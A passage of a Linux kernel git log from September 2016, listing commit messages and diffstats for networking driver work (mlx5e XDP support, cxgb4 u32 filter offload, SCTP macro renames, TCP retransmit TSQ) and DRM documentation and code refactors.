drivers/net/dsa/qca8k.c | 14 +------------- 1 file changed, 1 insertion(+), 13 deletions(-) commit fcfbfd68b36b2bf4e0133dffa316831a5e180199 Author: Wei Yongjun Date: Wed Sep 21 15:04:43 2016 +0000 net: dsa: qca8k: fix non static symbol warning Fixes the following sparse warning: drivers/net/dsa/qca8k.c:259:22: warning: symbol 'qca8k_regmap_config' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/dsa/qca8k.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9ba62f95965e6ba83ea90f919449ce5f6b01911b Merge: b80b8d7 4a225ce Author: David S. Miller Date: Thu Sep 22 03:13:39 2016 -0400 Merge branch 'sctp-align' Marcelo Ricardo Leitner says: ==================== Rename WORD_TRUNC/ROUND macros and use them This patchset aims to rename these macros to a non-confusing name, as reported by David Laight and David Miller, and to update all remaining places to make use of it, which was 1 last remaining spot. v3: - Name it SCTP_PAD4 instead of SCTP_ALIGN4, as suggested by David Laight v2: - fixed 2nd patch summary Details on the specific changelogs. ==================== Signed-off-by: David S. Miller commit 4a225ce3950879a5426c56f306f5d1c9d6330292 Author: Marcelo Ricardo Leitner Date: Wed Sep 21 08:45:56 2016 -0300 sctp: make use of SCTP_TRUNC4 macro And avoid the usage of '&~3'. This is the last place still not using the macro. Also break the line to make it easier to read. Signed-off-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller net/sctp/chunk.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit e2f036a97271cf5811ee754bf321a29a814577f9 Author: Marcelo Ricardo Leitner Date: Wed Sep 21 08:45:55 2016 -0300 sctp: rename WORD_TRUNC/ROUND macros To something more meaningful these days, specially because this is working on packet headers or lengths and which are not tied to any CPU arch but to the protocol itself. So, WORD_TRUNC becomes SCTP_TRUNC4 and WORD_ROUND becomes SCTP_PAD4. Reported-by: David Laight Reported-by: David Miller Signed-off-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller include/net/sctp/sctp.h | 10 +++++----- net/netfilter/xt_sctp.c | 2 +- net/sctp/associola.c | 2 +- net/sctp/chunk.c | 6 +++--- net/sctp/input.c | 8 ++++---- net/sctp/inqueue.c | 2 +- net/sctp/output.c | 12 ++++++------ net/sctp/sm_make_chunk.c | 28 ++++++++++++++-------------- net/sctp/sm_statefuns.c | 6 +++--- net/sctp/transport.c | 4 ++-- net/sctp/ulpevent.c | 4 ++-- 11 files changed, 42 insertions(+), 42 deletions(-) commit f0188ef8301ccbb128bbfd10751a9aeca8c9172e Author: Maxime Ripard Date: Mon Sep 19 21:53:08 2016 +0200 drm/sun4i: Fix the high buffer address mask The highest 3bits of the 4 layers buffers are all part of the same register. However, our mask computation was wrong, leading to all the lowest register bits being removed when we use regmap_update_bits, which will lead to the buffers being set to some random part of the RAM. Fix our mask. Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_backend.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e4192089fe5320537fd88aa29721277efef64af4 Author: Maxime Ripard Date: Mon Sep 19 22:17:51 2016 +0200 drm/sun4i: tv: Check mode pointer The drm_mode_create call might return NULL in case of a failure, and the current code doesn't check for that. Make sure it does. Reported-by: Dan Carpenter Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_tv.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit c222f399045de480d4af0b9e4cdfff1a083e3e1d Author: Maxime Ripard Date: Mon Sep 19 22:17:50 2016 +0200 drm/sun4i: Fix formats usable by the primary plane Even though all our planes can support the ARGB formats, the lowest plane (ie the primary plane) cannot use the alpha component, otherwise it will just result in the transparent area being entirely black. Since some applications will still require the ARGB format, let's force the format to XRGB to drop the alpha component entirely. Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_backend.c | 9 ++++-- drivers/gpu/drm/sun4i/sun4i_layer.c | 56 ++++++++++++++++++++++++----------- 2 files changed, 46 insertions(+), 19 deletions(-) commit f566911ae1a30e486608e0e74593f4450e1a5ff2 Author: Daniel Vetter Date: Wed Sep 21 10:59:30 2016 +0200 drm: Remove dirty property from docs We removed it in commit 6ab10b76ff6252bd9be0849c40f5865e39a29961 Author: Daniel Vetter Date: Fri Aug 12 22:48:45 2016 +0200 drm/kms: Nuke dirty_info property Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1474448370-32227-7-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/kms-properties.csv | 1 - 1 file changed, 1 deletion(-) commit a6acccf8ef222aa4b4622cdf82aa97e1b6700b92 Author: Daniel Vetter Date: Wed Sep 21 10:59:29 2016 +0200 drm/doc: Document color space handling Again move it from the unmaintainable csv into DOC free-form overview sections. v2: Types Lionel&Sean spotted. Cc: Lionel Landwerlin Reviewed-by: Sean Paul Reviewed-by: Lionel Landwerlin Signed-off-by: Daniel Vetter Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1474448370-32227-6-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms.rst | 12 +++++++++ Documentation/gpu/kms-properties.csv | 5 ---- drivers/gpu/drm/drm_color_mgmt.c | 48 ++++++++++++++++++++++++++++++++++++ include/drm/drm_color_mgmt.h | 11 ++++++--- 4 files changed, 68 insertions(+), 8 deletions(-) commit f1e2f66ce2d9f732fec184ab885fba4b53c06016 Author: Daniel Vetter Date: Wed Sep 21 10:59:28 2016 +0200 drm: Extract drm_color_mgmt.[hc] For both the new degamm/lut/gamma atomic combo, and the old legacy gamma tables. Acked-by: Lionel Landwerlin Cc: Lionel Landwerlin Signed-off-by: Daniel Vetter Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1474448370-32227-5-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/Makefile | 2 +- drivers/gpu/drm/drm_color_mgmt.c | 248 ++++++++++++++++++++++++++++++++++++ drivers/gpu/drm/drm_crtc.c | 220 -------------------------------- drivers/gpu/drm/drm_crtc_internal.h | 4 + include/drm/drm_color_mgmt.h | 56 ++++++++ include/drm/drm_crtc.h | 28 +--- 6 files changed, 310 insertions(+), 248 deletions(-) commit 1e4d84c6589e9e9d19884e705085fe4a1885b012 Author: Daniel Vetter Date: Wed Sep 21 10:59:27 2016 +0200 drm/doc: Polish plane composition property docs Try to spec a bit more precisely how they all fit together, now that at least the code is for all the additional properties is in one place. Also remove the entries for the standardized properties from the table, because that thing is supremely unmaintaineable. v2: Fix typos Sean spotted. Cc: Ville Syrjälä Cc: Sean Paul Cc: Benjamin Gaignard Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1474448370-32227-4-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms.rst | 7 +- Documentation/gpu/kms-properties.csv | 15 ---- drivers/gpu/drm/drm_blend.c | 146 ++++++++++++++++++++++++++++++----- drivers/gpu/drm/drm_plane.c | 3 + 4 files changed, 136 insertions(+), 35 deletions(-) commit 18733802466d032cd84e57f1e4b21ecae635f192 Author: Daniel Vetter Date: Wed Sep 21 10:59:26 2016 +0200 drm: Conslidate blending properties in drm_blend.[hc] Imo zpos, rotatation, blending eq (once we have it) and all that should be in drm_blend.c, since those are all about how exactly the pixels are rendered onto the CRTC's visible area. Also noticed that one exported function accidentally ended up in drm_crtc_internal.h, move it to the right place too. Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1474448370-32227-3-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_blend.c | 51 +++++++++++++++++++++++++++++++- drivers/gpu/drm/drm_crtc.c | 49 ------------------------------ drivers/gpu/drm/drm_crtc_internal.h | 3 -- include/drm/drm_blend.h | 59 +++++++++++++++++++++++++++++++++++++ include/drm/drm_crtc.h | 27 +---------------- 5 files changed, 110 insertions(+), 79 deletions(-) commit 532b36712ddfdca90f4db9a5365039cc08a3ff84 Author: Daniel Vetter Date: Wed Sep 21 10:59:25 2016 +0200 drm/doc: Polish for drm_plane.[hc] Big thing is untangling and carefully documenting the different uapi types of planes. I also sprinkled a few more cross references around to make this easier to discover. As usual, remove the kerneldoc for internal functions which are not exported. Aside: We should probably go OCD on all the ioctl handlers and consistenly give them an _ioctl postfix. Acked-by: Archit Taneja Signed-off-by: Daniel Vetter Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1474448370-32227-2-git-send-email-daniel.vetter@ffwll.ch Documentation/gpu/drm-kms.rst | 47 +-------------- drivers/gpu/drm/drm_crtc.c | 6 +- drivers/gpu/drm/drm_plane.c | 132 ++++++++---------------------------------- include/drm/drm_plane.h | 57 +++++++++++++++++- 4 files changed, 86 insertions(+), 156 deletions(-) commit 43968d7b806d7a7e021261294c583a216fddf0e5 Author: Daniel Vetter Date: Wed Sep 21 10:59:24 2016 +0200 drm: Extract drm_plane.[hc] Just pure code movement, cleanup and polish will happen in later patches. v2: Don't forget all the ioctl! To extract those cleanly I decided to put check_src_coords into drm_framebuffer.c (and give it a drm_framebuffer_ prefix), since that just checks framebuffer constraints. v3: rebase over PAGE_FLIP_TARGET. Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter [seanpaul] This patch as posted on the list was rebased on: commit 6f00975c619064a18c23fd3aced325ae165a73b9 Author: Daniel Vetter Date: Sat Aug 20 12:22:11 2016 +0200 drm: Reject page_flip for !DRIVER_MODESET so as a result of moving the page_flip ioctl, this fix has been rolled into this patch. Signed-off-by: Sean Paul Documentation/gpu/drm-kms.rst | 12 + drivers/gpu/drm/Makefile | 3 +- drivers/gpu/drm/drm_crtc.c | 988 +---------------------------------- drivers/gpu/drm/drm_crtc_internal.h | 38 +- drivers/gpu/drm/drm_framebuffer.c | 26 + drivers/gpu/drm/drm_plane.c | 990 ++++++++++++++++++++++++++++++++++++ include/drm/drm_atomic.h | 154 ++++++ include/drm/drm_crtc.h | 583 +-------------------- include/drm/drm_plane.h | 470 +++++++++++++++++ 9 files changed, 1681 insertions(+), 1583 deletions(-) commit b80b8d7a974ea4888a0a598cec217a6c500a0cdb Merge: f9616c3 35b510e Author: David S. Miller Date: Thu Sep 22 02:51:48 2016 -0400 Merge branch 'mlx5e-xdp' Tariq Toukan says: ==================== mlx5e XDP support This series adds XDP support in mlx5e driver. This includes the use cases: XDP_DROP, XDP_PASS, and XDP_TX. Single stream performance tests show 16.5 Mpps for XDP_DROP, and 12.4 Mpps for XDP_TX, with nice scalability for multiple streams/rings. This rate of XDP_DROP is lower than the 32 Mpps we got in previous implementation, when Striding RQ was used. We moved to non-Striding RQ, as some XDP_TX requirements (like headroom, packet-per-page) cannot be satisfied with the current Striding RQ HW, and we decided to fully support both DROP/TX. Few directions are considered in order to enable the faster rate for XDP_DROP, e.g a possibility for users to enable Striding RQ so they choose optimized XDP_DROP on the price of partial XDP_TX functionality, or some HW changes. Series generated against net-next commit: cf714ac147e0 'ipvlan: Fix dependency issue' Thanks, Tariq V2: * patch 8: - when XDP_TX fails, call mlx5e_page_release and drop the packet. - update xdp_tx counter within mlx5e_xmit_xdp_frame. (mlx5e_xmit_xdp_frame return value becomes obsolete, change it to void) - drop the packet for unknown XDP return code. * patch 9: - use a boolean for xdp_doorbell in SQ struct, instead of dragging it throughout the functions calls. - handle doorbell and counters within mlx5e_xmit_xdp_frame. ==================== Signed-off-by: David S. Miller commit 35b510e257f7516546a0a3f725f71dfbccc3f733 Author: Saeed Mahameed Date: Wed Sep 21 12:19:49 2016 +0300 net/mlx5e: XDP TX xmit more Previously we rang XDP SQ doorbell on every forwarded XDP packet. Here we introduce a xmit more like mechanism that will queue up more than one packet into SQ (up to RX napi budget) w/o notifying the hardware. Once RX napi budget is consumed and we exit napi RX loop, we will flush (doorbell) all XDP looped packets in case there are such. XDP forward packet rate: Comparing XDP with and w/o xmit more (bulk transmit): RX Cores XDP TX XDP TX (xmit more) --------------------------------------------------- 1 6.5Mpps 12.4Mpps 2 13.2Mpps 24.2Mpps 4 25.2Mpps 36.3Mpps* 8 36.3Mpps* 36.3Mpps* *My xmitter was limited to 36.3Mpps, so it is the bottleneck. It seems that receive side can handle more. Signed-off-by: Saeed Mahameed Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en.h | 1 + drivers/net/ethernet/mellanox/mlx5/core/en_rx.c | 32 ++++++++++++++++++------- 2 files changed, 25 insertions(+), 8 deletions(-) commit b5503b994ed5ed8dbfe821317e7b5b38acb065c5 Author: Saeed Mahameed Date: Wed Sep 21 12:19:48 2016 +0300 net/mlx5e: XDP TX forwarding support Adding support for XDP_TX forwarding from xdp program. Using XDP, now user can loop packets out of the same port. We create a dedicated TX SQ for each channel that will serve XDP programs that return XDP_TX action to loop packets back to the wire directly from the channel RQ RX path. For that RX pages will now need to be mapped bi-directionally, and on XDP_TX action we will sync the page back to device then queue it into SQ for transmission. The XDP xmit frame function will report back to the RX path if the page was consumed (transmitted), if so, RX path will forget about that page as if it were released to the stack. Later on, on XDP TX completion, the page will be released back to the page cache. For simplicity this patch will hit a doorbell on every XDP TX packet. Next patch will introduce a xmit more like mechanism that will queue up more than one packet into SQ w/o notifying the hardware, once RX napi loop is done we will hit doorbell once for all XDP TX packets form the previous loop. This should drastically improve XDP TX performance. Signed-off-by: Saeed Mahameed Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en.h | 25 ++++- drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 93 +++++++++++++++-- drivers/net/ethernet/mellanox/mlx5/core/en_rx.c | 110 +++++++++++++++++---- drivers/net/ethernet/mellanox/mlx5/core/en_stats.h | 8 ++ drivers/net/ethernet/mellanox/mlx5/core/en_tx.c | 39 +++++++- drivers/net/ethernet/mellanox/mlx5/core/en_txrx.c | 65 +++++++++++- 6 files changed, 304 insertions(+), 36 deletions(-) commit f10b7cc7707f7d598e3ddacd848080b18ba4cbff Author: Saeed Mahameed Date: Wed Sep 21 12:19:47 2016 +0300 net/mlx5e: Have a clear separation between different SQ types Make a clear separate between Regular SQ (TXQ) and ICO SQ creation, destruction and union their mutual information structures. Don't allocate redundant TXQ skb/wqe_info/dma_fifo arrays for ICO SQ. And have a different SQ edge for ICO SQ than TXQ SQ, to be more accurate. In preparation for XDP TX support. Signed-off-by: Saeed Mahameed Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en.h | 23 +++- drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 121 ++++++++++++++-------- drivers/net/ethernet/mellanox/mlx5/core/en_rx.c | 8 +- drivers/net/ethernet/mellanox/mlx5/core/en_tx.c | 30 +++--- drivers/net/ethernet/mellanox/mlx5/core/en_txrx.c | 2 +- 5 files changed, 120 insertions(+), 64 deletions(-) commit 86994156c736978d113e7927455d4eeeb2128b9f Author: Rana Shahout Date: Wed Sep 21 12:19:46 2016 +0300 net/mlx5e: XDP fast RX drop bpf programs support Add support for the BPF_PROG_TYPE_PHYS_DEV hook in mlx5e driver. When XDP is on we make sure to change channels RQs type to MLX5_WQ_TYPE_LINKED_LIST rather than "striding RQ" type to ensure "page per packet". On XDP set, we fail if HW LRO is set and request from user to turn it off. Since on ConnectX4-LX HW LRO is always on by default, this will be annoying, but we prefer not to enforce LRO off from XDP set function. Full channels reset (close/open) is required only when setting XDP on/off. When XDP set is called just to exchange programs, we will update each RQ xdp program on the fly and for synchronization with current data path RX activity of that RQ, we temporally disable that RQ and ensure RX path is not running, quickly update and re-enable that RQ, for that we do: - rq.state = disabled - napi_synnchronize - xchg(rq->xdp_prg) - rq.state = enabled - napi_schedule // Just in case we've missed an IRQ Packet rate performance testing was done with pktgen 64B packets and on TX side and, TC drop action on RX side compared to XDP fast drop. CPU: Intel(R) Xeon(R) CPU E5-2680 v3 @ 2.50GHz Comparison is done between: 1. Baseline, Before this patch with TC drop action 2. This patch with TC drop action 3. This patch with XDP RX fast drop RX Cores Baseline(TC drop) TC drop XDP fast Drop -------------------------------------------------------------- 1 5.3Mpps 5.3Mpps 16.5Mpps 2 10.2Mpps 10.2Mpps 31.3Mpps 4 20.5Mpps 19.9Mpps 36.3Mpps* *My xmitter was limited to 36.3Mpps, so it is the bottleneck. It seems that receive side can handle more. Signed-off-by: Rana Shahout Signed-off-by: Saeed Mahameed Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en.h | 2 + drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 100 ++++++++++++++++++++- drivers/net/ethernet/mellanox/mlx5/core/en_rx.c | 26 +++++- drivers/net/ethernet/mellanox/mlx5/core/en_stats.h | 4 + 4 files changed, 130 insertions(+), 2 deletions(-) commit 2fc4bfb7250d79ee4e58c1d5bca257687e9f5e53 Author: Saeed Mahameed Date: Wed Sep 21 12:19:45 2016 +0300 net/mlx5e: Dynamic RQ type infrastructure Add two helper functions to allow dynamic changes of RQ type. mlx5e_set_rq_priv_params and mlx5e_set_rq_type_params will be used on netdev creation to determine the default RQ type. This will be needed later for downstream patches of XDP support. When enabling XDP we will dynamically move from striding RQ to linked list RQ type. Signed-off-by: Saeed Mahameed Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 92 ++++++++++++----------- 1 file changed, 50 insertions(+), 42 deletions(-) commit e4b85508072b32682ba84df32cac5cf6a4f6178e Author: Saeed Mahameed Date: Wed Sep 21 12:19:44 2016 +0300 net/mlx5e: Slightly reduce hardware LRO size Before this patch LRO size was 64K, now with build_skb requires extra room, headroom + sizeof(skb_shared_info) added to the data buffer will make wqe size or page_frag_size slightly larger than 64K which will demand order 5 page instead of order 4 in 4K page systems. We take those extra bytes from hardware LRO data size in order to not increase the required page order for when hardware LRO is enabled. Signed-off-by: Saeed Mahameed Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 21c59685dd176dd6b2c4fc5e18dc65730cfd546a Author: Saeed Mahameed Date: Wed Sep 21 12:19:43 2016 +0300 net/mlx5e: Union RQ RX info per RQ type We have two types of RX RQs, and they use two separate sets of info arrays and structures in RX data path function. Today those structures are mutually exclusive per RQ type, hence one kind is allocated on RQ creation according to the RQ type. For better cache locality and to minimalize the sizeof(struct mlx5e_rq), in this patch we define them as a union. Signed-off-by: Saeed Mahameed Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en.h | 14 ++++++---- drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 32 +++++++++++------------ drivers/net/ethernet/mellanox/mlx5/core/en_rx.c | 10 +++---- 3 files changed, 30 insertions(+), 26 deletions(-) commit 1bfecfca565c0505d04dbf5fdd3d2fbb951827c0 Author: Saeed Mahameed Date: Wed Sep 21 12:19:42 2016 +0300 net/mlx5e: Build RX SKB on demand For non-striding RQ configuration before this patch we had a ring with pre-allocated SKBs and mapped the SKB->data buffers for device. For robustness and better RX data buffers management, we allocate a page per packet and build_skb around it. This patch (which is a prerequisite for XDP) will actually reduce performance for normal stack usage, because we are now hitting a bottleneck in the page allocator. We use the page-cache to restore or even improve performance in comparison to the old RX scheme. Packet rate performance testing was done with pktgen 64B packets on xmit side and TC ingress dropping action on RX side. CPU: Intel(R) Xeon(R) CPU E5-2680 v3 @ 2.50GHz Comparison is done between: 1.Baseline, before 'net/mlx5e: Build RX SKB on demand' 2.Build SKB with RX page cache (This patch) RX Cores Baseline Build SKB+page-cache Improvement ----------------------------------------------------------- 1 4.16Mpps 5.33Mpps 28% 2 7.16Mpps 10.24Mpps 43% 4 13.61Mpps 20.51Mpps 51% 8 25.32Mpps 32.00Mpps 26% All respective cores were 100% utilized. Signed-off-by: Saeed Mahameed Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en.h | 10 +- drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 31 +++- drivers/net/ethernet/mellanox/mlx5/core/en_rx.c | 215 +++++++++++----------- 3 files changed, 133 insertions(+), 123 deletions(-) commit f9616c35a0d786bc64fff4bf819d1e4984873367 Author: Eric Dumazet Date: Tue Sep 20 22:45:58 2016 -0700 tcp: implement TSQ for retransmits We saw sch_fq drops caused by the per flow limit of 100 packets and TCP when dealing with large cwnd and bursts of retransmits. Even after increasing the limit to 1000, and even after commit 10d3be569243 ("tcp-tso: do not split TSO packets at retransmit time"), we can still have these drops. Under certain conditions, TCP can spend a considerable amount of time queuing thousands of skbs in a single tcp_xmit_retransmit_queue() invocation, incurring latency spikes and stalls of other softirq handlers. This patch implements TSQ for retransmits, limiting number of packets and giving more chance for scheduling packets in both ways. Signed-off-by: Eric Dumazet Signed-off-by: Yuchung Cheng Signed-off-by: Neal Cardwell Signed-off-by: David S. Miller net/ipv4/tcp_output.c | 72 +++++++++++++++++++++++++++++++++------------------ 1 file changed, 47 insertions(+), 25 deletions(-) commit ce2f2c3f82baf91036195c30ee58455ad24797f4 Author: Sean Paul Date: Wed Sep 21 06:14:53 2016 -0700 drm/tilcdc: Add atomic and crtc headers to crtc.c Also reorder alphabetically and fix up drm_flip_work header. Reviewed-by: Daniel Vetter Signed-off-by: Sean Paul drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 0f1100c13a4870b6d8dd0bf87b1e25036acb1849 Merge: efee95f d6b1023 Author: David S. Miller Date: Thu Sep 22 02:20:16 2016 -0400 Merge branch 'mv88e6390-prep' Andrew Lunn says: ==================== Preparation for mv88e6390 These two patches are a couple of preparation steps for supporting the the MV88E6390 family of chips. This is a new generation from Marvell, and will need more feature flags than are currently available in an unsigned long. Expand to an unsigned long long. The MV88E6390 also places its port registers somewhere else, so add a wrapper around port register access. v2: Rework wrappers to use mv88e6xxx_{read|write} Simpliy some (err < ) to (err) Add Reviewed by tag. v3:: reg = reg & foo -> reg &= foo Fix over zealous s/ret/err ==================== Signed-off-by: David S. Miller commit d6b1023a83e85943d1f2fa3baafbb4d5cfee7179 Author: Andrew Lunn Date: Wed Sep 21 01:40:32 2016 +0200 net: dsa: mv88e6xxx: Convert flag bits to unsigned long long We are soon going to run out of flag bits on 32bit systems. Convert to unsigned long long. Signed-off-by: Andrew Lunn Reviewed-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 62 +++++++++++++++++------------------ 1 file changed, 31 insertions(+), 31 deletions(-) commit 0e7b99257be4b596d9fdd435698c0bfdb0b38d91 Author: Andrew Lunn Date: Wed Sep 21 01:40:31 2016 +0200 net: dsa: mv88e6xxx: Add helper for accessing port registers There is a device coming soon which places its port registers somewhere different to all other Marvell switches supported so far. Add helper functions for reading/writing port registers, making it easier to handle this new device. Signed-off-by: Andrew Lunn Reviewed-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 370 +++++++++++++++++----------------- drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 1 - 2 files changed, 182 insertions(+), 189 deletions(-) commit efee95f42b5dddedcaff0a0eaa44e170fc7522e8 Author: Nicolas Pitre Date: Tue Sep 20 19:25:58 2016 -0400 ptp_clock: future-proofing drivers against PTP subsystem becoming optional Drivers must be ready to accept NULL from ptp_clock_register() if the PTP clock subsystem is configured out. This patch documents that and ensures that all drivers cope well with a NULL return. Signed-off-by: Nicolas Pitre Reviewed-by: Eugenia Emantayev Acked-by: Richard Cochran Acked-by: Edward Cree Signed-off-by: David S. Miller drivers/net/ethernet/intel/e1000e/ptp.c | 2 +- drivers/net/ethernet/intel/i40e/i40e_ptp.c | 2 +- drivers/net/ethernet/intel/igb/igb_ptp.c | 2 +- drivers/net/ethernet/intel/ixgbe/ixgbe_ptp.c | 2 +- drivers/net/ethernet/mellanox/mlx4/en_clock.c | 2 +- drivers/net/ethernet/mellanox/mlx5/core/en_clock.c | 2 +- drivers/net/ethernet/sfc/ptp.c | 14 +++++++------- drivers/net/ethernet/stmicro/stmmac/stmmac_ptp.c | 2 +- include/linux/ptp_clock_kernel.h | 5 +++++ 9 files changed, 19 insertions(+), 14 deletions(-) commit d270f76c2d6ee3d96cfb1affb78a3d536e0b8fd6 Author: Philippe Reynes Date: Tue Sep 20 22:30:12 2016 +0200 net: ethernet: hisilicon: hns: use new api ethtool_{get|set}_link_ksettings The ethtool api {get|set}_settings is deprecated. We move this driver to new api {get|set}_link_ksettings. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/net/ethernet/hisilicon/hns/hns_ethtool.c | 105 +++++++++++++---------- 1 file changed, 58 insertions(+), 47 deletions(-) commit 262b38cdb3e47d402f4fdf76fcf3e8c4c8380a52 Author: Philippe Reynes Date: Tue Sep 20 22:30:11 2016 +0200 net: ethernet: hisilicon: hns: use phydev from struct net_device The private structure contain a pointer to phydev, but the structure net_device already contain such pointer. So we can remove the pointer phydev in the private structure, and update the driver to use the one contained in struct net_device. Signed-off-by: Philippe Reynes Signed-off-by: David S. Miller drivers/net/ethernet/hisilicon/hns/hns_enet.c | 23 +++++++---------- drivers/net/ethernet/hisilicon/hns/hns_enet.h | 1 - drivers/net/ethernet/hisilicon/hns/hns_ethtool.c | 33 +++++++++++------------- 3 files changed, 24 insertions(+), 33 deletions(-) commit e82f71489ffb325a9b7bca367b06a39315452dfe Author: Sean Wang Date: Tue Sep 20 23:53:24 2016 +0800 net: ethernet: mediatek: fix missing changes merged for conflicts overlapping commits add the missing commits about 1) Commit d3bd1ce4db8e843dce421e2f8f123e5251a9c7d3 ("remove redundant free_irq for devm_request_ir allocated irq") 2) Commit 7c6b0d76fa02213393815e3b6d5e4a415bf3f0e2 ("fix logic unbalance between probe and remove") during merge for conflicts overlapping commits by Commit b20b378d49926b82c0a131492fa8842156e0e8a9 ("Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net") Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit f9d1846f137a26d38c058c497b70babc606839be Merge: ecf4ee4 b20ff72 Author: David S. Miller Date: Thu Sep 22 01:40:07 2016 -0400 Merge branch 'cxgb4-tc-offload' Rahul Lakkireddy says: ==================== cxgb4: add support for offloading TC u32 filters This series of patches add support to offload TC u32 filters onto Chelsio NICs. Patch 1 moves current common filter code to separate files in order to provide a common api for performing packet classification and filtering in Chelsio NICs. Patch 2 enables filters for normal NIC configuration and implements common api for setting and deleting filters. Patches 3-5 add support for TC u32 offload via ndo_setup_tc. --- v3: Based on review and suggestion from David Miller - Fixed all local variable declarations by placing them in longest line first and shortest line last order. v2: Based on review and suggestions from Jiri Pirko : - Replaced macros S and U with appropriate static helper functions. - Moved completion code for set and delete filters to respective functions cxgb4_set_filter() and cxgb4_del_filter(). Renamed the original functions to __cxgb4_set_filter() and __cxgb4_del_filter() in case synchronization is not required. - Dropped debugfs patch. - Merged code for inserting and deleting u32 filters into a single patch. - Reworked and fixed bugs with traversing the actions list. - Removed all unnecessary extra (). ==================== Signed-off-by: David S. Miller commit b20ff726fa8360a0508d2d79ecdee5a45d854e99 Author: Rahul Lakkireddy Date: Tue Sep 20 17:13:10 2016 +0530 cxgb4: add support for drop and redirect actions Add support for dropping matched packets in hardware. Also add support for re-directing matched packets to a specified port in hardware. Signed-off-by: Rahul Lakkireddy Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4_tc_u32.c | 71 +++++++++++++++++++++++ 1 file changed, 71 insertions(+) commit d8931847488d250e27d8f18ca6b7373e9f981d7a Author: Rahul Lakkireddy Date: Tue Sep 20 17:13:09 2016 +0530 cxgb4: add support for offloading u32 filters Add support for offloading u32 filter onto hardware. Links are stored in a jump table to perform necessary jumps to match TCP/UDP header. When inserting rules in the linked bucket, the TCP/UDP match fields in the corresponding entry of the jump table are appended to the filter rule before insertion. If a link is deleted, then all corresponding filters associated with the link are also deleted. Also enable hardware tc offload as a supported feature. Signed-off-by: Rahul Lakkireddy Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/Makefile | 2 +- drivers/net/ethernet/chelsio/cxgb4/cxgb4.h | 3 + drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 41 +- drivers/net/ethernet/chelsio/cxgb4/cxgb4_tc_u32.c | 412 +++++++++++++++++++++ drivers/net/ethernet/chelsio/cxgb4/cxgb4_tc_u32.h | 57 +++ .../ethernet/chelsio/cxgb4/cxgb4_tc_u32_parse.h | 12 + 6 files changed, 525 insertions(+), 2 deletions(-) commit 2e8aad7bf20323c6ef0beec859a77c94a082c55d Author: Rahul Lakkireddy Date: Tue Sep 20 17:13:08 2016 +0530 cxgb4: add parser to translate u32 filters to internal spec Parse information sent by u32 into internal filter specification. Add support for parsing several fields in IPv4, IPv6, TCP, and UDP. Signed-off-by: Rahul Lakkireddy Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller .../ethernet/chelsio/cxgb4/cxgb4_tc_u32_parse.h | 282 +++++++++++++++++++++ 1 file changed, 282 insertions(+) commit 578b46b9383c3619cc0a6002ff867e732b08b67a Author: Rahul Lakkireddy Date: Tue Sep 20 17:13:07 2016 +0530 cxgb4: add common api support for configuring filters Enable filters for non-offload configuration and add common api support for setting and deleting filters in 